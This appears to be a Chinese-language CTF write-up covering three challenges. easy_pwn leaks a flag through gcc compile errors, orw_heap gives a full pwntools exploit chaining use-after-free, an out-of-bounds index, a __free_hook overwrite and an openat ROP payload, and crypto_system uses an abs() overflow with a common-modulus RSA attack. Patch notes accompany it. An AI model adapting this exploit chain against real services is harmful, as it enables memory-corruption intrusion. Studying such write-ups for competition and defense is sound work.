easy_pwn
直接输入“#include</flag>”,gcc会由于/flag中存在语法错误将flag的内容输出出来。
修补方式
失败:
- 利用strstr 过滤掉flag关键字。
- 修改gcc命令,将标准错误重定向到其他文件。
据说成功:
- 过滤掉字符'f'
- 将read函数的第三个参数改小,改的足够小就啥也输不进来了。
orw_heap
漏洞点有下面几个:
- 指针删除后未置0
- view功能和edit功能中未检查idx的范围,导致可以越界读写后面的指针。
限制
- 只能free两次。
利用方式
- 利用两次free泄露堆地址。
- 在堆上放好地址,利用漏洞点2达成任意内存读写。
具体流程
- 泄露堆地址
- 利用任意内存读,查看got表内容,泄露libc基地址
- 利用任意内存写,修改将free的次数次数改大
- 利用任意内存写,修改free_hook为printf地址
- free掉一块包含“%?$p”的内存,可以泄露栈地址,其中?需要自己试出来。
- 利用任意内存写,在栈上写入ROP的payload即可。
需要注意的点
- open系统调用被禁了,需要用openat(0x101)系统调用打开文件。
- flag在 /flag中而非 /home/pwn/flag。
- 服务器上不知道用了什么方法,使得堆基地址与程序数据段离得不是很远,所以4字节的索引是可以索引到堆上的。但是本地离得很远,所以本地不会通。
from pwn import *
#p = ssh("root","localhost",2222,'waterdrop').process(['./pwn'],env={'LD_PRELOAD':'./libc-2.31.so'})
p = remote("172.16.9.13",9004)
#p = process(['./ld-2.31.so','./pwn'],env={"LD_PRELOAD":"./libc-2.31.so"})
e = ELF("./pwn")
libc = ELF('./libc-2.31.so')
context.log_level = 'debug'
def add(idx,size,name):
p.sendlineafter("Your Choice:",'1')
p.recvuntil("index>>")
p.send(str(idx)+'\x00')
p.recvuntil("size>>")
p.send(str(size)+'\x00')
p.recvuntil("name>>")
p.send(name)
def delete(idx):
p.sendlineafter("Your Choice:",'2')
p.recvuntil("index>> ")
p.send(str(idx)+'\x00')
def edit(idx,name):
p.sendlineafter("Your Choice:",'3')
p.recvuntil("index>>")
p.send(str(idx)+'\x00')
p.recvuntil("name>>")
p.send(name)
def show(idx):
p.sendlineafter("Your Choice:",'5')
p.recvuntil("index>> ")
p.send(str(idx)+'\x00')
return p.recvuntil("\n1:add",drop=True)
time = 0x404080
list_addr = 0x4040E8
add(0,0x70,"A")
add(1,0x70,'A'*16+p64(8)+p64(e.got['printf'])+'/flag\x00')
delete(1)
delete(0)
heap_addr = u64(show(0).ljust(8,'\x00'))
print(hex(heap_addr+0x18-list_addr//16))
printf_addr = u64(show((heap_addr+0x18-list_addr)//16).ljust(8,'\x00'))
libc_addr = printf_addr-libc.symbols['printf']
print "hex=>",hex(libc_addr)
libc.address = libc_addr
free_hook = libc.symbols['__free_hook']
add(2,0xc0,p64(8)+p64(time)+p64(8)+p64(free_hook))
edit((heap_addr+0x80+0x8-list_addr)//16,"AA")
edit((heap_addr+0x80+0x18-list_addr)//16,p64(libc.symbols['printf']))
add(3,0x70,'%8$p\n')
delete(3)
stack_addr = int(p.recvline(),16)-0x18
pop_rdi = 0x0000000000026b72+libc_addr
pop_rsi = 0x0000000000027529+libc_addr
pop_rdx_rbx = 0x00000000001626d6+libc_addr
pop_rcx = 0x000000000009f822+libc_addr
#payload = p64(pop_rdi)+p64(heap_addr+32)+p64(libc.symbols['puts'])
payload = p64(pop_rdi)+p64(0x101)+p64(pop_rsi)+p64(0)+p64(pop_rdx_rbx)+p64(heap_addr+32)+p64(0)+p64(pop_rcx)+p64(0)+p64(libc.symbols['syscall'])+\
p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_addr+1000)+p64(pop_rdx_rbx)+p64(0x100)+p64(0)+p64(libc.symbols['read'])+\
p64(pop_rdi)+p64(heap_addr+1000)+p64(libc.symbols['puts'])
print hex(len(payload))
print hex(stack_addr)
edit(2,p64(0x100)+p64(stack_addr))
edit((heap_addr+0x80+0x8-list_addr)//16,payload)
#gdb.attach(p)
p.interactive()
修补方式
修改代码,指针free掉后置为0.
crypto_system
exp不是我写的,这里简述一下思路。
漏洞点
程序中有个循环输入的地方,里面的下标大概是这么计算的
idx = abs(read_num())%5;
此处存在问题,当输入时,abs函数返回值依然是。因此,我们可以利用这个修改前方的字节。具体来说,就是将0x10001,修改为0x1??01,其中??是我们可以控制的。
利用
按照程序正常流程,我们可以获得。利用漏洞我们可以获得(此处把??改为了0x30)。由于0x10001与0x13001互素,我们可以利用共模攻击获得flag。
网友评论